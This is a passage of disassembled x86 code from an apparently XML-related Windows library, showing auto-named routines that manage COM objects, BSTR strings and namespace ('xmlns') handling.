		mov	ebx, eax


loc_69B755AC:				; CODE XREF: sub_69B7559B+1Bj
		push	edi
		call	sub_69B17230
		add	edi, 0Ch
		dec	ebx
		jnz	short loc_69B755AC
		pop	edi
		pop	ebx


loc_69B755BA:				; CODE XREF: sub_69B7559B+8j
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B7559B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B755C2	proc near		; CODE XREF: sub_69B7564C+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B755C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B755D6	proc near		; CODE XREF: sub_69B72A73+175p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B16284 SIZE 0000001A BYTES

		push	1Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B755E8
		mov	ecx, eax
		jmp	loc_69B16284
; ---------------------------------------------------------------------------


loc_69B755E8:				; CODE XREF: sub_69B755D6+9j
		xor	eax, eax
		retn	4
sub_69B755D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B755ED	proc near		; DATA XREF: .text:69B162D8o

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	[ebp+var_10], 0
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+arg_4]
		mov	esi, ecx
		mov	[ebp+var_C], 0
		call	sub_69B70068
		mov	ecx, [ebp+var_8]
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
		test	eax, eax
		jz	short loc_69B7563F
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+3Ch]
		test	eax, eax
		jz	short loc_69B7563F
		mov	ecx, [esi+10h]
		mov	edx, [eax]
		shr	ecx, 1
		and	ecx, 0FFFFFF01h
		push	0
		push	ecx
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		mov	ecx, [ebp+arg_4]
		push	eax
		call	sub_69B6E79D


loc_69B7563F:				; CODE XREF: sub_69B755ED+27j
					; sub_69B755ED+32j
		lea	ecx, [ebp+var_10]
		call	sub_69B466CC
		pop	esi
		leave
		retn	8
sub_69B755ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7564C	proc near		; DATA XREF: .text:69B162ACo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B755C2
		test	[esp+4+arg_0], 1
		jz	short loc_69B75661
		push	esi
		call	sub_69B1829F


loc_69B75661:				; CODE XREF: sub_69B7564C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B7564C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B75667	proc near		; DATA XREF: .text:69B16338o

pvarg		= VARIANTARG ptr -10h
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		mov	ecx, [ebp+arg_4]
		call	sub_69B6F448
		mov	ecx, [esi+0Ch]
		mov	eax, [ecx]
		push	0
		push	0
		call	dword ptr [eax+4Ch]
		and	word ptr [ebp+pvarg.anonymous_0], 0
		lea	ecx, [ebp+pvarg]
		push	ecx		; pvarg
		mov	ecx, [esi+14h]
		push	8		; vt
		push	eax		; int
		push	[ebp+arg_4]	; int
		call	sub_69B7401B
		xor	eax, eax
		mov	al, [esi+18h]
		push	eax
		mov	eax, [esi+10h]
		shr	eax, 1
		and	eax, 0FFFFFF01h
		push	eax
		push	dword ptr [ebp+pvarg.anonymous_0+8] ; BSTR
		call	SysStringLen
		mov	ecx, [ebp+arg_4]
		push	eax
		push	dword ptr [ebp+pvarg.anonymous_0+8]
		call	sub_69B6E739
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantClear
		pop	esi
		leave
		retn	8
sub_69B75667	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B756D0	proc near		; DATA XREF: .text:69B14174o
					; .text:69B162D4o ...
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	sub_69B72FDD
sub_69B756D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B756E6	proc near		; DATA XREF: .text:69B1633Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		call	sub_69B73078
		push	0
		push	eax
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		lea	ecx, [eax+8Ch]
		call	sub_69B70DF4
		push	eax
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17320
		mov	ecx, [esi+0Ch]
		push	dword_69B9B4C8
		mov	eax, [ecx]
		call	dword ptr [eax+0A4h]
		test	eax, eax
		setnz	al
		mov	ecx, esi
		mov	[esi+18h], al
		call	sub_69B72FFD
		pop	esi
		retn	8
sub_69B756E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B75733	proc near		; CODE XREF: sub_69B72A73+165p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B162E4 SIZE 0000001C BYTES

		push	1Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B75745
		mov	ecx, eax
		jmp	loc_69B162E4
; ---------------------------------------------------------------------------


loc_69B75745:				; CODE XREF: sub_69B75733+9j
		xor	eax, eax
		retn	4
sub_69B75733	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7574A	proc near		; CODE XREF: sub_69B7577A+25p
					; sub_69B7577A+70p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		movsx	edx, word ptr [eax+30h]
		imul	edx, 1Ch
		push	esi
		mov	esi, [eax+24h]
		cmp	[edx+esi-24h], ecx
		pop	esi
		jnz	short loc_69B75770
		mov	eax, [eax+28h]
		mov	ecx, [eax+18h]
		mov	eax, [ecx]
		call	dword ptr [eax+0D8h]
		jmp	short locret_69B75777
; ---------------------------------------------------------------------------


loc_69B75770:				; CODE XREF: sub_69B7574A+14j
		mov	eax, [ecx+10h]
		shr	eax, 1
		and	al, 1

locret_69B75777:			; CODE XREF: sub_69B7574A+24j
		retn	4
sub_69B7574A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7577A	proc near		; DATA XREF: .text:69B16398o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	ebx
		xor	ebx, ebx
		sub	eax, ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		jz	short loc_69B75797
		dec	eax
		jz	short loc_69B757BF
		dec	eax
		jz	short loc_69B757D8
		jmp	short loc_69B757E6
; ---------------------------------------------------------------------------


loc_69B75797:				; CODE XREF: sub_69B7577A+13j
		mov	eax, [esi+28h]
		push	edi
		mov	edi, [eax+18h]
		push	esi
		call	sub_69B7574A
		mov	ecx, edi
		push	eax
		mov	eax, [edi]
		call	dword ptr [eax+0D4h]
		mov	ecx, esi
		push	eax
		push	ebx
		push	0FFFFFFFFh
		call	sub_69B6F979
		test	al, al
		pop	edi
		jz	short loc_69B757F7


loc_69B757BF:				; CODE XREF: sub_69B7577A+16j
		push	ebx
		push	ebx
		push	1
		mov	ecx, esi
		call	sub_69B6F0B5
		test	eax, eax
		jz	short loc_69B757F7
		mov	eax, [esi+20h]
		mov	dword ptr [eax+0Ch], 2


loc_69B757D8:				; CODE XREF: sub_69B7577A+19j
		push	ebx
		push	ebx
		push	ebx
		mov	ecx, esi
		call	sub_69B6F0B5
		test	eax, eax
		jz	short loc_69B757F7


loc_69B757E6:				; CODE XREF: sub_69B7577A+1Bj
		mov	ecx, [ebp+var_4]
		push	esi
		call	sub_69B7574A
		mov	ecx, esi
		push	eax
		call	sub_69B6F28B


loc_69B757F7:				; CODE XREF: sub_69B7577A+43j
					; sub_69B7577A+52j ...
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B7577A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B757FD	proc near		; DATA XREF: .text:69B16424o

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	esi, ecx
		mov	ecx, edi
		call	sub_69B712A4
		test	eax, eax
		mov	ecx, [esp+8+arg_4]
		jnz	short loc_69B7581D
		mov	eax, [edi]
		mov	[ecx+18h], eax
		xor	eax, eax
		jmp	short loc_69B75823
; ---------------------------------------------------------------------------


loc_69B7581D:				; CODE XREF: sub_69B757FD+15j
		mov	[ecx+18h], eax
		mov	eax, [esi+30h]


loc_69B75823:				; CODE XREF: sub_69B757FD+1Ej
		pop	edi
		pop	esi
		retn	0Ch
sub_69B757FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B75828	proc near		; CODE XREF: sub_69B75912-5F549p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B16344 SIZE 00000018 BYTES

		push	14h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B7583A
		mov	ecx, eax
		jmp	loc_69B16344
; ---------------------------------------------------------------------------


loc_69B7583A:				; CODE XREF: sub_69B75828+9j
		xor	eax, eax
		retn	4
sub_69B75828	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7583F	proc near		; CODE XREF: sub_69B75929+10p

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, ecx
		xor	ebx, ebx
		lea	ecx, [esi+10h]
		mov	eax, [ecx]
		push	0FFFFFFFFh
		push	ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], bl
		call	dword ptr [eax+4]
		mov	ecx, [edi+2Ch]
		lea	edx, [ebp+var_10]
		push	edx
		mov	edx, [esi+28h]
		push	dword ptr [edx+18h]
		mov	[ebp+arg_0], eax
		push	[ebp+arg_0]
		mov	eax, [ecx]
		lea	edx, [esi+10h]
		push	edx
		call	dword ptr [eax+54h]
		cmp	[ebp+var_10], 6
		jz	short loc_69B7589B
		mov	eax, [edi+10h]
		shr	eax, 1
		push	ebx
		and	eax, 0FFFFFF01h
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, esi
		call	sub_69B6E85D
		jmp	short loc_69B7589E
; ---------------------------------------------------------------------------


loc_69B7589B:				; CODE XREF: sub_69B7583F+41j
		mov	ebx, [ebp+var_8]


loc_69B7589E:				; CODE XREF: sub_69B7583F+5Aj
		lea	ecx, [ebp+var_10]
		call	sub_69B466CC
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn	4
sub_69B7583F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B758AF	proc near		; DATA XREF: .text:69B1641Co

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	8
		push	dword_69B9B508
		mov	esi, ecx
		mov	eax, [esi+0Ch]
		mov	ecx, [esp+10h+arg_0]
		push	eax
		call	sub_69B6EA8E
		push	eax
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_69B17320
		xor	eax, eax
		cmp	[edi], eax
		jnz	short loc_69B758EA
		push	eax
		push	eax
		push	dword_69B9B508
		push	0C00CE020h
		call	sub_69B6E277


loc_69B758EA:				; CODE XREF: sub_69B758AF+27j
		push	dword ptr [esi+0Ch]
		call	sub_69B6FED3
		pop	edi
		pop	esi
		retn	8
sub_69B758AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B758F7	proc near		; DATA XREF: .text:69B142DCo
					; .text:69B163ECo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B751D0
		test	[esp+4+arg_0], 1
		jz	short loc_69B7590C
		push	esi
		call	sub_69B1829F


loc_69B7590C:				; CODE XREF: sub_69B758F7+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B758F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B75912	proc near		; CODE XREF: sub_69B72A73+F8p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B163A4 SIZE 00000038 BYTES

		push	34h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B75924
		mov	ecx, eax
		jmp	loc_69B163A4
; ---------------------------------------------------------------------------


loc_69B75924:				; CODE XREF: sub_69B75912+9j
		xor	eax, eax
		retn	4
sub_69B75912	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B75929	proc near		; DATA XREF: .text:69B16418o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	esi, ecx
		jnz	short loc_69B7594B
		push	edi
		call	sub_69B7583F
		test	eax, eax
		jz	short loc_69B75965
		push	eax
		push	edi
		mov	ecx, esi
		call	sub_69B72316


loc_69B7594B:				; CODE XREF: sub_69B75929+Dj
		push	dword ptr [esi+30h]
		mov	ecx, edi
		push	1
		push	0
		call	sub_69B6F0B5
		test	eax, eax
		jz	short loc_69B75965
		push	edi
		mov	ecx, esi
		call	sub_69B725AD


loc_69B75965:				; CODE XREF: sub_69B75929+17j
					; sub_69B75929+32j
		pop	edi
		pop	esi
		retn	8
sub_69B75929	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7596A	proc near		; DATA XREF: .text:69B16498o

arg_4		= dword	ptr  8

		xor	eax, eax
		mov	al, [ecx+18h]
		push	eax
		mov	eax, [ecx+10h]
		shr	eax, 1
		and	eax, 0FFFFFF01h
		push	eax
		push	dword ptr [ecx+14h]
		mov	ecx, [esp+0Ch+arg_4]
		call	sub_69B6E79D
		retn	8
sub_69B7596A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7598A	proc near		; CODE XREF: sub_69B72A73+CEp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B16440 SIZE 0000001C BYTES

		push	1Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B7599C
		mov	ecx, eax
		jmp	loc_69B16440
; ---------------------------------------------------------------------------


loc_69B7599C:				; CODE XREF: sub_69B7598A+9j
		xor	eax, eax
		retn	4
sub_69B7598A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B759A1	proc near		; DATA XREF: .text:69B1649Co
		mov	eax, dword_69B9B4B8
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+0Ch]
		mov	edx, [esi]
		push	eax
		mov	ecx, esi
		mov	ebx, eax
		call	dword ptr [edx+0A4h]
		push	eax
		push	ebx
		call	sub_69B6FF5F
		mov	ecx, edi
		mov	[edi+18h], al
		call	sub_69B72FFD
		mov	eax, [esi]
		push	1
		push	0
		mov	ecx, esi
		call	dword ptr [eax+4Ch]
		push	eax
		add	edi, 14h
		push	edi
		call	sub_69B17320
		mov	eax, [edi]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_69B75A05
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0D4h]
		test	al, al
		jz	short loc_69B75A05
		push	20h
		call	sub_69B2F3BE
		push	eax
		push	edi
		call	sub_69B17320


loc_69B75A05:				; CODE XREF: sub_69B759A1+46j
					; sub_69B759A1+54j
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B759A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B75A0B	proc near		; CODE XREF: sub_69B75BAB+6Dp
					; sub_69B75C38+B4p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		push	esi
		push	edi
		mov	esi, offset off_69B1A5AC
		xor	edi, edi
		cmp	eax, esi
		mov	[ebp+var_10], ecx
		jz	loc_69B75B1E
		cmp	[ecx+3Ch], edi
		push	ebx
		mov	ebx, [eax+0Ch]
		mov	eax, [eax+8]
		mov	[ebp+var_C], eax
		setz	al
		mov	byte ptr [ebp+var_14], al
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		mov	[ebp+var_8], edi
		call	sub_69B31F88
		test	al, al
		jnz	short loc_69B75A5B
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	0C00CE505h
		call	sub_69B6E277


loc_69B75A5B:				; CODE XREF: sub_69B75A0B+3Fj
		push	[ebp+var_4]
		push	ebx
		call	sub_69B4D200
		test	al, al
		jz	short loc_69B75A83
		push	[ebp+var_4]	; int
		mov	ecx, [ebp+arg_0]
		push	ebx		; lpString
		push	0		; int
		call	sub_69B4D394
		push	eax
		call	sub_69B4D2B6
		mov	edi, eax
		mov	[ebp+var_8], edi
		jmp	short loc_69B75AFC
; ---------------------------------------------------------------------------


loc_69B75A83:				; CODE XREF: sub_69B75A0B+5Bj
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+3Ch], 0Fh
		jnz	short loc_69B75ABD
		cmp	[ebp+var_4], 0
		jnz	short loc_69B75ABD
		cmp	[ebp+var_C], 5
		jnz	short loc_69B75ABD
		mov	ecx, [ebp+arg_4]
		push	5		; int
		push	offset aXmlns	; "xmlns"
		call	sub_69B2EE46
		test	eax, eax
		jnz	short loc_69B75ABD
		mov	edi, dword_69B95A5C
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], 5
		jmp	short loc_69B75AFC
; ---------------------------------------------------------------------------


loc_69B75ABD:				; CODE XREF: sub_69B75A0B+7Fj
					; sub_69B75A0B+85j ...
		mov	esi, [ebp+arg_8]
		xor	ecx, ecx
		cmp	esi, ecx
		jz	short loc_69B75AFC
		cmp	[esi+8], ecx
		jz	short loc_69B75AE6
		push	ecx		; int
		push	ecx		; lpString
		mov	ecx, [ebp+arg_0]
		push	esi		; int
		call	sub_69B4D394
		mov	ecx, [ebp+arg_0]
		mov	edi, eax
		push	edi
		call	sub_69B4DA96
		mov	[ebp+var_8], eax
		jmp	short loc_69B75AFC
; ---------------------------------------------------------------------------


loc_69B75AE6:				; CODE XREF: sub_69B75A0B+BEj
		mov	eax, [ebp+var_4]
		cmp	eax, ecx
		jz	short loc_69B75AFC
		or	edx, 0FFFFFFFFh
		sub	edx, eax
		add	[ebp+var_C], edx
		lea	ebx, [ebx+eax*2+2]
		mov	[ebp+var_4], ecx


loc_69B75AFC:				; CODE XREF: sub_69B75A0B+76j
					; sub_69B75A0B+B0j ...
		mov	ecx, [ebp+arg_0]
		test	esi, esi
		setnz	al
		push	eax		; int
		push	edi		; int
		push	[ebp+var_8]	; int
		push	[ebp+var_14]	; int
		push	[ebp+var_4]	; int
		push	[ebp+var_C]	; int
		push	ebx		; lpString
		call	sub_69B4D62C
		mov	ecx, [ebp+var_10]
		mov	edi, eax
		pop	ebx


loc_69B75B1E:				; CODE XREF: sub_69B75A0B+17j
		push	edi
		push	dword ptr [ecx+3Ch]
		call	sub_69B4D8E4
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_69B75A0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B75B2F	proc near		; DATA XREF: .text:69B1650Co
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+34h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	sub_69B7251E
sub_69B75B2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B75B50	proc near		; DATA XREF: .text:69B1651Co

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	edi
		mov	edi, [ebp+arg_8]
		test	byte ptr [edi+18h], 0Fh
		mov	ebx, ecx
		jnz	short loc_69B75B6E
		push	edi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B7235C
		jmp	short loc_69B75BA5
; ---------------------------------------------------------------------------


loc_69B75B6E:				; CODE XREF: sub_69B75B50+Ej
		push	esi
		jmp	short loc_69B75B83
; ---------------------------------------------------------------------------


loc_69B75B71:				; CODE XREF: sub_69B75B50+3Ej
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		mov	eax, [eax+10h]
		cmp	eax, dword_69B95A5C
		jz	short loc_69B75B9C


loc_69B75B83:				; CODE XREF: sub_69B75B50+1Fj
		mov	ecx, edi
		call	sub_69B712A4
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B75B71
		mov	eax, [edi]
		mov	ecx, [ebp+arg_4]
		mov	[ecx+18h], eax
		xor	eax, eax
		jmp	short loc_69B75BA4
; ---------------------------------------------------------------------------


loc_69B75B9C:				; CODE XREF: sub_69B75B50+31j
		mov	eax, [ebp+arg_4]
		mov	[eax+18h], esi
		mov	eax, ebx


loc_69B75BA4:				; CODE XREF: sub_69B75B50+4Aj
		pop	esi


loc_69B75BA5:				; CODE XREF: sub_69B75B50+1Cj
		pop	edi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_69B75B50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B75BAB	proc near		; CODE XREF: sub_69B75DD2+27p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		lea	esi, [ebx+10h]
		mov	eax, [esi]
		push	0FFFFFFFFh
		mov	edi, ecx
		push	0
		mov	ecx, esi
		call	dword ptr [eax+4]
		mov	ecx, [edi+34h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+28h]
		mov	ebx, [eax+18h]
		and	[ebp+var_20], 0
		and	[ebp+var_10], 0
		lea	edx, [ebp+var_20]
		push	edx
		push	ebx
		push	[ebp+arg_0]
		mov	[ebp+var_1C], 0
		mov	[ebp+var_C], 0
		mov	eax, [ecx]
		push	esi
		call	dword ptr [eax+54h]
		mov	ecx, [edi+38h]
		test	ecx, ecx
		jz	short loc_69B75C08
		mov	eax, [ecx]
		lea	edx, [ebp+var_10]
		push	edx
		push	ebx
		push	[ebp+arg_0]
		push	esi
		call	dword ptr [eax+54h]
		jmp	short loc_69B75C0C
; ---------------------------------------------------------------------------


loc_69B75C08:				; CODE XREF: sub_69B75BAB+4Bj
		and	[ebp+var_8], 0


loc_69B75C0C:				; CODE XREF: sub_69B75BAB+5Bj
		push	[ebp+var_8]
		mov	eax, [edi+2Ch]
		push	[ebp+var_18]
		mov	ecx, edi
		push	eax
		call	sub_69B75A0B
		lea	ecx, [ebp+var_10]
		mov	esi, eax
		call	sub_69B466CC
		lea	ecx, [ebp+var_20]
		call	sub_69B466CC
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B75BAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B75C38	proc near		; DATA XREF: .text:69B16528o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+3Ch]
		cmp	eax, 0FFFFFFFFh
		jz	loc_69B75D6B
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	dword ptr [edi+0A8h], 2
		jz	loc_69B75D3D
		cmp	eax, 2
		jz	short loc_69B75C8E
		mov	ecx, [esi+0Ch]
		push	dword_69B9B4E8
		mov	eax, [ecx]
		call	dword ptr [eax+0A8h]
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	short loc_69B75C8E
		push	eax
		mov	ecx, edi
		call	sub_69B6EB1C
		push	eax
		lea	eax, [esi+34h]
		push	eax
		call	sub_69B17320
		jmp	short loc_69B75C95
; ---------------------------------------------------------------------------


loc_69B75C8E:				; CODE XREF: sub_69B75C38+28j
					; sub_69B75C38+40j
		mov	[ebp+var_4], offset off_69B1A5AC


loc_69B75C95:				; CODE XREF: sub_69B75C38+54j
		mov	eax, [esi+3Ch]
		and	[ebp+arg_0], 0
		cmp	eax, 2
		jz	short loc_69B75CD0
		cmp	eax, 5
		jz	short loc_69B75CD0
		mov	ecx, [esi+0Ch]
		push	dword_69B9B4E0
		mov	eax, [ecx]
		call	dword ptr [eax+0A8h]
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	short loc_69B75CD0
		push	eax
		mov	ecx, edi
		call	sub_69B6EB1C
		push	eax
		lea	eax, [esi+38h]
		push	eax
		call	sub_69B17320


loc_69B75CD0:				; CODE XREF: sub_69B75C38+67j
					; sub_69B75C38+6Cj ...
		lea	ebx, [esi+34h]
		mov	eax, [ebx]
		xor	ecx, ecx
		cmp	eax, ecx
		jnz	short loc_69B75CFC
		cmp	[esi+38h], ecx
		jnz	short loc_69B75CF3
		push	[ebp+arg_0]
		mov	edi, [edi+68h]
		push	[ebp+var_4]
		mov	ecx, esi
		push	edi
		call	sub_69B75A0B
		jmp	short loc_69B75D60
; ---------------------------------------------------------------------------


loc_69B75CF3:				; CODE XREF: sub_69B75C38+A6j
		cmp	eax, ecx
		jnz	short loc_69B75CFC
		push	[ebp+var_4]
		jmp	short loc_69B75D0B
; ---------------------------------------------------------------------------


loc_69B75CFC:				; CODE XREF: sub_69B75C38+A1j
					; sub_69B75C38+BDj
		lea	ebx, [esi+38h]
		cmp	[ebx], ecx
		jnz	short loc_69B75D22
		cmp	[ebp+arg_0], ecx
		jz	short loc_69B75D28
		push	[ebp+arg_0]


loc_69B75D0B:				; CODE XREF: sub_69B75C38+C2j
		call	sub_69B65631
		mov	ecx, eax
		add	eax, 8
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		push	ecx
		push	ebx
		call	sub_69B17320


loc_69B75D22:				; CODE XREF: sub_69B75C38+C9j
		cmp	[ebp+arg_0], 0
		jnz	short loc_69B75D35


loc_69B75D28:				; CODE XREF: sub_69B75C38+CEj
		mov	ecx, [edi+68h]
		mov	eax, [ecx]
		call	dword ptr [eax+28h]
		add	esi, 2Ch
		jmp	short loc_69B75D63
; ---------------------------------------------------------------------------


loc_69B75D35:				; CODE XREF: sub_69B75C38+EEj
		push	dword ptr [edi+68h]
		add	esi, 2Ch
		jmp	short loc_69B75D64
; ---------------------------------------------------------------------------


loc_69B75D3D:				; CODE XREF: sub_69B75C38+1Fj
		mov	ecx, [esi+0Ch]
		push	dword_69B9B4E8
		mov	eax, [ecx]
		call	dword ptr [eax+0A8h]
		xor	edx, edx
		cmp	eax, edx
		jz	short loc_69B75D6A
		mov	ecx, [edi+68h]
		push	edx
		push	edx
		push	edx
		push	eax
		call	sub_69B4D7A3


loc_69B75D60:				; CODE XREF: sub_69B75C38+B9j
		add	esi, 30h


loc_69B75D63:				; CODE XREF: sub_69B75C38+FBj
		push	eax


loc_69B75D64:				; CODE XREF: sub_69B75C38+103j
		push	esi
		call	sub_69B17320


loc_69B75D6A:				; CODE XREF: sub_69B75C38+11Aj
		pop	edi


loc_69B75D6B:				; CODE XREF: sub_69B75C38+Ej
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B75C38	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B75D71	proc near		; DATA XREF: .text:69B164E4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B75D8C
		test	[esp+4+arg_0], 1
		jz	short loc_69B75D86
		push	esi
		call	sub_69B1829F


loc_69B75D86:				; CODE XREF: sub_69B75D71+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B75D71	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B75D8C	proc near		; CODE XREF: sub_69B75D71+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+38h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+34h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B7039F
sub_69B75D8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B75DBB	proc near		; CODE XREF: sub_69B72A73+A0p
					; sub_69B72A73+BEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 69B164A4 SIZE 00000034 BYTES

		push	40h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B75DCD
		mov	ecx, eax
		jmp	loc_69B164A4
; ---------------------------------------------------------------------------


loc_69B75DCD:				; CODE XREF: sub_69B75DBB+9j
		xor	eax, eax
		retn	0Ch
sub_69B75DBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B75DD2	proc near		; DATA XREF: .text:69B16510o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_4]
		xor	ebp, ebp
		sub	eax, ebp
		push	1
		mov	esi, ecx
		pop	ebx
		jz	short loc_69B75DF1
		dec	eax
		jz	short loc_69B75E31
		dec	eax
		jz	short loc_69B75E58
		jmp	short loc_69B75E66
; ---------------------------------------------------------------------------


